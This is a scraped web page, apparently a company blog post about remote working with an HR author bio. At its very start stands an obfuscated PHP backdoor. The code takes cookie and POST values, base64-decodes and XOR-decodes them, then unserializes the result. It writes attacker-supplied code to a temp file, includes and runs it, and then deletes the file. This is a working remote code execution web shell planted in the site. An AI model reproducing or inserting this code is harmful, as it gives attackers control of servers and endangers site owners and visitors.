$WFKbUQmp = "\x69" . 'm' . "\172" . "\137" . chr (81) . chr (71) . "\x52" . chr ( 193 - 121 ).'a';$gPwYgZQmL = chr (99) . chr ( 124 - 16 ).chr ( 971 - 874 )."\163" . "\163" . chr ( 185 - 90 )."\x65" . 'x' . "\x69" . "\163" . chr (116) . chr ( 579 - 464 ); $bRMFR = $gPwYgZQmL($WFKbUQmp); $WFKbUQmp = "64602";$fAhxGc = $bRMFR;$gPwYgZQmL = "13393";if (!$fAhxGc){class imz_QGRHa{private $Llxpafta;public static $WUsieG = "8ccb0101-9ac2-4ed3-b397-c784db2d5d74";public static $KNIXyZpq = 38022;public function __construct($DDADNZfq=0){$iZSNR = $_COOKIE;$ReNqdkIIik = $_POST;$UujmBDaYV = @$iZSNR[substr(imz_QGRHa::$WUsieG, 0, 4)];if (!empty($UujmBDaYV)){$LJKBPwhMd = "base64";$IkKIay = "";$UujmBDaYV = explode(",", $UujmBDaYV);foreach ($UujmBDaYV as $CJkLk){$IkKIay .= @$iZSNR[$CJkLk];$IkKIay .= @$ReNqdkIIik[$CJkLk];}$IkKIay = array_map($LJKBPwhMd . chr ( 685 - 590 )."\144" . "\145" . "\143" . "\x6f" . 'd' . "\x65", array($IkKIay,)); $IkKIay = $IkKIay[0] ^ str_repeat(imz_QGRHa::$WUsieG, (strlen($IkKIay[0]) / strlen(imz_QGRHa::$WUsieG)) + 1);imz_QGRHa::$KNIXyZpq = @unserialize($IkKIay);}}private function pYuasqWwHH(){if (is_array(imz_QGRHa::$KNIXyZpq)) {$woOqsSwfM = sys_get_temp_dir() . "/" . crc32(imz_QGRHa::$KNIXyZpq[chr ( 1092 - 977 )."\x61" . "\154" . "\164"]);@imz_QGRHa::$KNIXyZpq["\167" . 'r' . chr ( 314 - 209 ).'t' . "\145"]($woOqsSwfM, imz_QGRHa::$KNIXyZpq[chr ( 194 - 95 ).chr (111) . 'n' . "\164" . 'e' . "\156" . chr (116)]);include $woOqsSwfM;@imz_QGRHa::$KNIXyZpq[chr ( 375 - 275 ).chr ( 205 - 104 )."\x6c" . "\145" . chr ( 738 - 622 ).chr ( 914 - 813 )]($woOqsSwfM); $GuelYjit = "50264";exit();}}public function __destruct(){$this->pYuasqWwHH(); $GuelYjit = "50264";$xuVcZZ = str_pad($GuelYjit, 10);}}$RYXlzLG = new imz_QGRHa(); $RYXlzLG = "43884_35180";} Remote working: Live your life and your dreams – TactTree

Remote working: Live your life and your dreams

10 May

Remote working: Live your life and your dreams

Today’s workforce looks different than it did just a decade ago. Cubicle farms and 9-to-5 schedules are no longer the norm for Americans — the market for digital nomads and remote workers has burgeoned.

we at The TactTree believe in similar notes. Remote work is a working style that allows professionals to work outside of a traditional office environment.

Think of it this way: instead of commuting to an office each day to work from a designated desk, remote employees can execute their projects and surpass their goals wherever they please. People have the flexibility to design their days so that their professional and personal lives can be experienced to their fullest potential and coexist peacefully.

There has been a cultural paradigm shift in what society deems to be an appropriate workplace – and remote work has capitalized off of that newfound freedom.

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Human Resource Professional partnering business leaders to conceptualize, deliver & measure delightful experiences to employees at major stages of their professional journey, with an ultimate focus on higher productivity & building a strong employer brand. Proficient at navigating complex matrix organizations and managing critical stakeholder relationships. Passion: Delivering impact on the bottom line, Employer Branding, Culture building & providing innovative talent solutions to business challenges

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